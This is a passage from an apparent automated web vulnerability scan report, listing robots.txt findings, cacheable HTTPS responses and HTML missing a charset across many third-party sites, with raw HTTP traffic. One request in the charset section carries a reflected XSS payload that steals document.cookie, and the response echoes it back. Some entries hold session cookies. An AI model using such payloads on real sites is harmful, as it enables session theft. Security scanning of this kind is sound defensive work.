Set-Cookie: SessionDDF2=TMP2kffgHDgR2GX8q14KPqlOyGZYJb9BLTqYqsKPNw25f1DhEiY4hJvPpU9qkD5tt4JTe3vt9Ijh+UmfyvZcYQ==; domain=.myspace.com; expires=Wed, 05-Feb-2031 23:02:58 GMT; path=/
X-AspNet-Version: 4.0.30319
X-PoweredBy: Keebler Elves
Date: Sat, 05 Feb 2011 23:02:58 GMT
Connection: keep-alive
Content-Length: 81
X-Vertical: profileidentities

User-agent: *
Disallow:
Sitemap: http://www.myspace.com/us_sitemap_index.xml.gz

28.116. http://www.netlog.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.netlog.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.netlog.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:53 GMT
Server: Apache/2.2.14
Cache-Control: max-age=3600
Expires: Sun, 06 Feb 2011 00:02:53 GMT
Last-Modified: Sat, 05 Feb 2011 23:02:53 GMT
Vary: Accept-Encoding
Content-Length: 330
Connection: close
Content-Type: text/plain; charset=UTF-8

# Adsense
User-agent: Mediapartners-Google
Disallow:

# Others
User-agent: *
Disallow: /go/manage/
Disallow: /go/logs/
Disallow: /go/messages/
Disallow: /go/friends/
Disallow: /go/settings/
...[SNIP]...

28.117. http://www.netvibes.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.netvibes.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.netvibes.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 05 Feb 2011 23:02:58 GMT
Content-Type: text/plain
Connection: close
X-Men: 50
Content-Length: 552
X-slb: 6
X-Jobs: http://about.netvibes.com/jobs.php looking for a sysadmin :)

User-agent: *
Disallow: /api/
Disallow: /ajax/
Disallow: /demos/
Disallow: /errors/
Disallow: /modules/
Disallow: /external/
Disallow: /frames/
Disallow: /get/
Disallow: /js/
Disallow: /partner/
Disal
...[SNIP]...

28.118. http://www.newsvine.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.newsvine.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.newsvine.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:58 GMT
Server: Apache/2.2.9 (Debian)
Vary: negotiate,Accept-Encoding
TCN: choice
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: vid=87172179a9ab06f53732b777558ec346; expires=Fri, 31-Jan-2031 23:02:58 GMT; path=/; domain=.newsvine.com
Cache-Control: max-age=604800
Expires: Sat, 12 Feb 2011 23:02:58 GMT
Content-Length: 227
Keep-Alive: timeout=3, max=945
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /_wine
Disallow: /_tools
Disallow: /_vine
Disallow: /_login
Disallow: /_util
Disallow: /_more
Disallow: /_action

Allow: /_vine/archive

Crawl-delay: 10

Sitemap: http://www.ne
...[SNIP]...

28.119. http://www.nmworkwear.de/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/index.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.nmworkwear.de

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:57 GMT
Server: Apache/2.2
Last-Modified: Thu, 06 Jan 2011 09:58:24 GMT
ETag: "480017c6-18-4992a8addac4a"
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Content-Type: text/plain

User-agent: *
Allow: /

28.120. http://www.nowpublic.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nowpublic.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.nowpublic.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:57 GMT
Server: PWS/1.7.1.2
X-Px: ms iad-agg-n36 ( iad-agg-n20), ht-d iad-agg-n20.panthercdn.com
ETag: "1cc8183-6e3-487861f0a9fc0"-gzip
Cache-Control: max-age=604800
Expires: Fri, 11 Feb 2011 23:15:28 GMT
Age: 85649
Content-Length: 1763
Content-Type: text/plain
Last-Modified: Wed, 26 May 2010 21:40:23 GMT
Connection: close

# $Id: robots.txt,v 1.7.2.3 2008/12/10 20:24:38 drumm Exp $
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by site
...[SNIP]...

28.121. http://www.officedepot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.officedepot.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.officedepot.com

Response

HTTP/1.0 200 OK
Server: IBM_HTTP_Server
Last-Modified: Wed, 10 Nov 2010 05:03:55 GMT
ETag: "292-c8bd24c0"
P3P: CP="ALL DEVa TAIa OUR BUS UNI NAV STA PRE" policyref="http://www.officedepot.com/w3c/p3p.xml"
Content-Type: text/plain
Date: Sat, 05 Feb 2011 22:39:46 GMT
Content-Length: 658
Connection: close
Set-Cookie: cae_browser=desktop; path=/; domain=.officedepot.com

# Robots.txt file for http://www.officedepot.com
#

User-agent: *
Disallow: /account/
Disallow: /ads/
Disallow: /b2b/
Disallow: /billboard/
Disallow: /cart/
Disallow: /catalogrequest/
Disallow: /check
...[SNIP]...

28.122. http://www.oneview.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.oneview.de
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.oneview.de

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 20:00:19 GMT
Server: Apache
Last-Modified: Sun, 12 Dec 2010 17:32:17 GMT
Accept-Ranges: bytes
Content-Length: 4335
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Age: 10965
X-Cache: HIT from squid.oneview.de
X-Cache-Lookup: HIT from squid.oneview.de:80
Via: 1.0 squid.oneview.de:80 (squid/2.6.STABLE21)
Connection: close

User-agent: Googlebot
Disallow: /download/
Disallow: /group/*/url/*/add/$
Disallow: /group/*/url/*/edit/$
Disallow: /gruppe/*/url/*/bearbeiten/$
Disallow: /gruppe/*/url/*/merken/$
Disallow: /myoneview
...[SNIP]...

28.123. http://www.orkut.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orkut.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.orkut.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Sat, 05 Feb 2011 23:02:58 GMT
Expires: Sat, 05 Feb 2011 23:02:58 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Sitemap: http://static1.orkut.com/sitemap/sitemap.xml
Disallow: /Album.aspx
Disallow: /AlbumZoom.aspx
Disallow: /Block.aspx
Disallow: /ClickTracker.aspx
Disallow: /CommEvent.aspx
Disallo
...[SNIP]...

28.124. http://www.orthougm.com/nslookup.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/nslookup.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.orthougm.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:48:42 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sun, 09 Jan 2011 20:46:49 GMT
ETag: "77a60e-4c-f34a6040"
Accept-Ranges: bytes
Content-Length: 76
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Allow: /
Disallow: /404/
Disallow: /vw.php*
Disallow: /dl.php*

28.125. http://www.splunk.com/themes/splunk_com/css/v5.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.splunk.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:03 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942543510551; path=/; expires=Sun, 01-Feb-26 21:49:03 GMT; domain=.splunk.com
Last-Modified: Wed, 17 Nov 2010 21:45:29 GMT
ETag: "cc0575-528-4954697827040"
Accept-Ranges: bytes
Content-Length: 1320
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: gsa-crawler-splunk # Even tho identical to below, we will continue to keep this section in case we want to add to it
Disallow: /base/index.php # Do not allow index.php with an
...[SNIP]...

28.126. http://www.vodafone.de/cookie-setting-page.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vodafone.de
Path:	/cookie-setting-page.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.vodafone.de

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:41:02 GMT
Server: Apache
Last-Modified: Tue, 09 Feb 2010 13:41:08 GMT
Accept-Ranges: bytes
Content-Length: 705
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Vary: User-Agent
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

# robots.txt for www.vodafone.de

# Sitemap
Sitemap: http://www.vodafone.de/feed/google_sitemap.xml

User-agent: *
Disallow: /downloadarea/
Disallow: /images/
Disallow: /flash/
Disallow: /online_help
...[SNIP]...

28.127. http://www.zanox-affiliate.de/tpv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zanox-affiliate.de
Path:	/tpv/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.zanox-affiliate.de

Response

HTTP/1.1 200 OK
Content-Length: 69
Content-Type: text/plain
Last-Modified: Mon, 18 Feb 2008 08:43:06 GMT
Accept-Ranges: bytes
ETag: "52c3ea47a72c81:4a9"
Server: Microsoft-IIS/6.0
P3P: policyref="http://www.zanox-affiliate.de/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 17:39:24 GMT
Connection: close

User-agent: stress-agent
Disallow: /

User-agent: *
Disallow: /

28.128. http://www91.intel.com/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www91.intel.com
Path:	/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www91.intel.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:36:50 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:58:27 GMT
ETag: "352eb-18-6e161ac0"
Accept-Ranges: bytes
Content-Length: 24
xserver: www500
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

28.129. http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ziffdavisbaseline.112.2o7.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:32 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:58:27 GMT
ETag: "ad148-18-6e161ac0"
Accept-Ranges: bytes
Content-Length: 24
xserver: www163
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

29. Cacheable HTTPS response previous next
There are 14 instances of this issue:

https://ebus.ota.org/default.aspx
https://in.getclicky.com/
https://lct.salesforce.com/
https://secure.opinionlab.com/comment20AMX.asp
https://splunk.webex.com/mw0305l/mywebex/default.do
https://static.getclicky.com/
https://www.americanexpress.com/airlines-credit-card/
https://www.americanexpress.com/credit-card-rewards/
https://www.americanexpress.com/gift/giftcardslanding.shtml
https://www.americanexpress.com/gold-card/
https://www.americanexpress.com/no-annual-fee-credit-cards/
https://www.blackberry.com/profile/
https://www.google.com/adsense/support/bin/request.py
https://www.slackinc.com/reprints/order.asp

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

29.1. https://ebus.ota.org/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://ebus.ota.org
Path:	/default.aspx

Request

GET /default.aspx?tabid=168&appl_code=MEMBERS HTTP/1.1
Host: ebus.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.2. https://in.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://in.getclicky.com
Path:	/

Request

GET / HTTP/1.1
Host: in.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cluid=4151896484841637591;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

Hmm.

29.3. https://lct.salesforce.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://lct.salesforce.com
Path:	/

Request

GET / HTTP/1.1
Host: lct.salesforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.4. https://secure.opinionlab.com/comment20AMX.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.opinionlab.com
Path:	/comment20AMX.asp

Request

GET /comment20AMX.asp HTTP/1.1
Host: secure.opinionlab.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 6067
Content-Type: text/html; Charset=UTF-8
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:52:19 GMT
Connection: close

<html>
<head>
<META http-equiv="Content-Type" content="text/html; charset=UTF-16">
<base href="https://secure.opinionlab.com/ccc01">
<title>Comment Ca
...[SNIP]...

29.5. https://splunk.webex.com/mw0305l/mywebex/default.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://splunk.webex.com
Path:	/mw0305l/mywebex/default.do

Request

GET /mw0305l/mywebex/default.do HTTP/1.1
Host: splunk.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.6. https://static.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://static.getclicky.com
Path:	/

Request

GET / HTTP/1.1
Host: static.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:52:45 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6-1+lenny6
Content-Length: 4

Hmm.

29.7. https://www.americanexpress.com/airlines-credit-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/airlines-credit-card/

Request

GET /airlines-credit-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.8. https://www.americanexpress.com/credit-card-rewards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/credit-card-rewards/

Request

GET /credit-card-rewards/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.9. https://www.americanexpress.com/gift/giftcardslanding.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gift/giftcardslanding.shtml

Request

GET /gift/giftcardslanding.shtml HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.10. https://www.americanexpress.com/gold-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gold-card/

Request

GET /gold-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.11. https://www.americanexpress.com/no-annual-fee-credit-cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/no-annual-fee-credit-cards/

Request

Response

29.12. https://www.blackberry.com/profile/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.blackberry.com
Path:	/profile/

Request

GET /profile/ HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

29.13. https://www.google.com/adsense/support/bin/request.py previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.google.com
Path:	/adsense/support/bin/request.py

Request

Response

29.14. https://www.slackinc.com/reprints/order.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.slackinc.com
Path:	/reprints/order.asp

Request

GET /reprints/order.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30. HTML does not specify charset previous next
There are 108 instances of this issue:

http://a.ligatus.com/timeout.php
http://a.tribalfusion.com/i.cid
http://a.tribalfusion.com/j.ad
http://a.tribalfusion.com/z/j.ad
http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11
http://ad.doubleclick.net/clk
http://altfarm.mediaplex.com/ad/ck/9700-118565-26469-2
http://amch.questionmarket.com/adscgen/st.php
http://api.tweetmeme.com/button.js
http://baselinemag.us.intellitxt.com/
http://blogmarks.net/
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://buzzport.gatech.edu/
http://c03.adsummos.net/a/e/s21719
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login
http://corp.americanexpress.com/gcs/travel/us/
http://demos.spongecell.com/404.html
http://download32.us.intellitxt.com/
http://download32.us.intellitxt.com/iframescript.jsp
http://fls.doubleclick.net/activityi
http://freeengineer.org/learnUNIXin10minutes.html
https://home.americanexpress.com/home/corporations.shtml
http://in.getclicky.com/
https://in.getclicky.com/
http://info.bisk.com/MCIndex.asp
http://internetmailmanager.com/s/svrg.asp
http://javascript.crockford.com/jsmin.html
http://jqueryui.com/about
http://jqueryui.com/themeroller/
http://links.industrybrains.com/click
http://macgpg.sourceforge.net/
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php
http://now.eloqua.com/visitor/v200/svrGP.aspx
http://packetstorm.linuxsecurity.com/
http://ping.chartbeat.net/ping
http://pixel.intellitxt.com/pixel.jsp
http://rapidog.com/game-thoi-trang-bup-be-ba-by-rapidshare.html
http://searchnet.chitika.net/audience
http://spe.redcated/ds/NMMRTUMISAUB/
http://spe.redcated/ds/NMMRTUMISITP/
http://starpulse.us.intellitxt.com/intellitxt/switch.asp
http://static.getclicky.com/
https://static.getclicky.com/
http://statistics.wibiya.com/SetToolbarLoad.php
http://system.referforex.com/processing/impressions.asp
http://t2.trackalyzer.com/trackalyze.asp
http://tags.bluekai.com/site/2956
http://urlist.info/search/Kelentik
http://uselessjunk.com/article_full.php
http://redacted/FXM/iview/211419853/direct
http://redacted/MRT/iview/264255445/direct
http://webmail.aol.com/$|http:/travel.aol.com/$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://www.ad4mat.de/ads/banner_data.php
http://www.baselinemag.com/blank.gif
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&hl=en&client=ca-pub-6422417422167576&adU=www.RiminiStreet.com&adT=ImageAd&gl=US&usg=AFQjCNH5RnMJStR1tz53GbCMllXhLJ0M_g/
http://www.baselinemag.com/images/marketplace-hdr-bg.gif
http://www.baselinemag.com/images/marketplace-hdr.gif
http://www.baselinemag.com/spacer.gif
http://www.beckercatalog.com/
http://www.beckeroregoncatalog.com/
http://www.beckerortho.com/
http://www.beckerortho.com/CAH_cd.asp
http://www.beckerortho.com/catalog.htm
http://www.beckerortho.com/history.htm
http://www.beckerortho.com/history/becker_history.htm
http://www.beckerortho.com/knee/training.htm
http://www.beckerortho.com/pastfp.htm
http://www.beckerortho.com/services.htm
http://www.beckerortho.com/tech.htm
http://www.beckerortho.com/thanks.htm
http://www.bitty.com/
https://www.blackberry.com/partnerzone/Forward.action
https://www.blackberry.com/partnerzone/Login.action
http://www.buscaglia.com/resources.htm
http://www.cisco.com/ipj/
http://www.cisco.com/warp/public/707/newsflash.html
http://www.csc.gatech.edu/copeland/jac/6612/info/Install-wireshark-on-MacOS.html
http://www.csc.gatech.edu/~copeland/6612/info/
http://www.csc.gatech.edu/~copeland/6612/info/Install-wireshark-on-MacOS.html
http://www.dest-unreach.org/socat/
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/Smarter-Enterprise-and-NextGeneration-Web-Services/
http://www.freedownloadscenter.com/
http://www.freedownloadscenter.com/Contact_us.html
http://www.freedownloadscenter.com/Interaction/enter.php3
http://www.freedownloadscenter.com/Reviews/
http://www.freedownloadscenter.com/terms/team-calendar/calendar.html
http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD>
http://www.jazdtech.com/techdirect/lg/logImpressions.htm
http://www.json.org/js.html
http://www.khabbr.com/
http://www.linkagogo.com/
http://www.linkfixerplus.com/
http://www.linuxsecurity.com/static-content/packetstorm.html
http://www.networksimplicity.com/openssh/
http://www.pgpi.org/
http://www.sitejot.com/
http://www.slackinc.com/journals.asp
http://www.slackinc.com/permissions/
http://www.slackinc.com/privacypolicy.asp
https://www.slackinc.com/reprints/order.asp
https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp
https://www.slackinc.com/subscribe/newsubs/otistep1.asp
http://www.stunnel.org/
http://www.vibrantmedia.com/about/careers.asp
http://www.vibrantmedia.com/favicon.ico
http://www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.whselfinvest.de/banner/whsbanner.php

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

30.1. http://a.ligatus.com/timeout.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.ligatus.com
Path:	/timeout.php

Request

GET /timeout.php?ids=9470d8918%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHoyt.LLC.Research.says.API.XSS.is.a.DANGEROUS.Vulnerability HTTP/1.1
Host: a.ligatus.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 18:28:13 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html
Accept-Ranges: bytes
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 18:38:13 GMT
Connection: Keep-Alive
Content-Length: 178

<script src="http://e.ligatus.com/LigatusFallback.gif?ids=9470d8918"><script>alert(document.cookie)</script>Hoyt.LLC.Research.says.API.XSS.is.a.DANGEROUS.Vulnerability"></script>

30.2. http://a.tribalfusion.com/i.cid previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/i.cid

Request

GET /i.cid HTTP/1.1
Host: a.tribalfusion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ANON_ID=abnkrAxlqUCS24OSQ4Ix6Sp4lUSWcCQk0WytBqNS5JLCxNryhCZb67hDuqBQBdIfZctfdk5aENlId6y9DG9f2BBU4UfPJpSyDrAQmsZd1MXmJE51gdKZcnnDCr69Bb3EAguZdiP22HsNKPPE5NZcBR38FCGseVBYWYEKd8nZc8Ui76VUegdUcmLShn3gdAYZbZdT2YAZaYyQMnejgeEncjhhAuOaZaFs9CCQlOpRKaqaAijpYunLb1RxeqMKBM0DRYsL3mvicwZdjDveSWy481kgZcdXrXH3nUxT88k5n6R0MuSiK8Zc5JZalwVZcxmUe2qfNOSbiZaneJSFuBtbKYpAZaaBoHNfIpeCLSP9mt2gyJQlOt2BEOjaG67VZcPPiOLmZdO9cyI51ZcaxTSgQLA68lVB2lryKXfZc549kWBjeZdbNWyFvli8UX0mLMCZc09n1saZasuk3C0Zd0vTHYIL7cfIDLqpJ5GRiZchq7pLAkZcgsvCWZaUwe1WolWLrSJxPluT5C4uZdUqJbbN5R;

Response

HTTP/1.1 404 Not Found
X-Function: 409
X-Reuse-Index: 1
Content-Type: text/html
Content-Length: 140
Connection: Close

<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found </h1>The requested url was not found on this server.
</body></html>

30.3. http://a.tribalfusion.com/j.ad previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/j.ad

Request

GET /j.ad HTTP/1.1
Host: a.tribalfusion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ANON_ID=aCnoeUO5nPoBPRodVFEBmCmE1n3GbgtTrXQcUUVG;

Response

30.4. http://a.tribalfusion.com/z/j.ad previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/z/j.ad

Request

GET /z/j.ad HTTP/1.1
Host: a.tribalfusion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ANON_ID=abnkrAxlqUCS24OSQ4Ix6Sp4lUSWcCQk0WytBqNS5JLCxNryhCZb67hDuqBQBdIfZctfdk5aENlId6y9DG9f2BBU4UfPJpSyDrAQmsZd1MXmJE51gdKZcnnDCr69Bb3EAguZdiP22HsNKPPE5NZcBR38FCGseVBYWYEKd8nZc8Ui76VUegdUcmLShn3gdAYZbZdT2YAZaYyQMnejgeEncjhhAuOaZaFs9CCQlOpRKaqaAijpYunLb1RxeqMKBM0DRYsL3mvicwZdjDveSWy481kgZcdXrXH3nUxT88k5n6R0MuSiK8Zc5JZalwVZcxmUe2qfNOSbiZaneJSFuBtbKYpAZaaBoHNfIpeCLSP9mt2gyJQlOt2BEOjaG67VZcPPiOLmZdO9cyI51ZcaxTSgQLA68lVB2lryKXfZc549kWBjeZdbNWyFvli8UX0mLMCZc09n1saZasuk3C0Zd0vTHYIL7cfIDLqpJ5GRiZchq7pLAkZcgsvCWZaUwe1WolWLrSJxPluT5C4uZdUqJbbN5R;

Response

30.5. http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.158901.DATAXU/B4970757.11

Request

Response

30.6. http://ad.doubleclick.net/clk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/clk

Request

GET /clk HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
